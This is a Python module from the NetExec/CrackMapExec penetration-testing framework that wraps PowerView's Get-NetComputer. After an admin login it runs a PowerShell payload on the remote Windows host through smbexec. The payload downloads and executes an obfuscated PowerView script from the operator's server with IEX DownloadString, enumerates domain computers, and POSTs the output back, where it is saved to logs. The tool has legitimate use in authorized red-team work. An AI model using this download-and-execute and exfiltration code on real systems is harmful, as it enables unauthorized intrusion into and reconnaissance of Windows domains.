NetExec/cme/modules/get_computers.py

102 lines
3.7 KiB
Python

from cme.helpers import create_ps_command, obfs_ps_script
from StringIO import StringIO
from datetime import datetime
class CMEModule:
'''
Wrapper for PowerView's Get-NetGroup function
Module by @byt3bl33d3r
'''
name = 'GetComputers'
def options(self, context, module_options):
'''
COMPUTERNAME Return computers with a specific name, wildcards accepted (default: all computers)
SPN Return computers with a specific service principal name, wildcards accepted (default: None)
DOMAIN The domain to query for computers (default: current domain)
'''
self.computername = None
self.domain = None
self.spn = None
if 'COMPUTERNAME' in module_options:
self.computername = module_options['COMPUTERNAME']
if 'DOMAIN' in module_options:
self.domain = module_options['DOMAIN']
if 'SPN' in module_options:
self.spn = module_options['SPN']
def on_admin_login(self, context, connection):
powah_command = 'Get-NetComputer'
if self.computername:
powah_command += ' -ComputerName "{}"'.format(self.computername)
if self.domain:
powah_command += ' -Domain {}'.format(self.domain)
if self.spn:
powah_command += ' -SPN {}'.format(self.spn)
powah_command += ' | Out-String'
payload = '''
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/PowerView.ps1');
$data = {command}
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($data);
$request.ContentLength = $bytes.Length;
$requestStream = $request.GetRequestStream();
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();'''.format(server=context.server,
port=context.server_port,
addr=context.localip,
command=powah_command)
context.log.debug('Payload: {}'.format(payload))
payload = create_ps_command(payload)
connection.execute(payload, method='smbexec')
context.log.success('Executed payload')
def on_request(self, context, request):
if 'PowerView.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
with open('data/PowerSploit/Recon/PowerView.ps1', 'r') as ps_script:
ps_script = obfs_ps_script(ps_script.read())
request.wfile.write(ps_script)
else:
request.send_response(404)
request.end_headers()
def on_response(self, context, response):
response.send_response(200)
response.end_headers()
length = int(response.headers.getheader('content-length'))
data = response.rfile.read(length)
#We've received the response, stop tracking this host
response.stop_tracking_host()
if len(data):
def print_post_data(data):
buf = StringIO(data.strip()).readlines()
for line in buf:
context.log.highlight(line.strip())
print_post_data(data)
log_name = 'Computers-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
with open('logs/' + log_name, 'w') as log_file:
log_file.write(data)
context.log.info("Saved output to {}".format(log_name))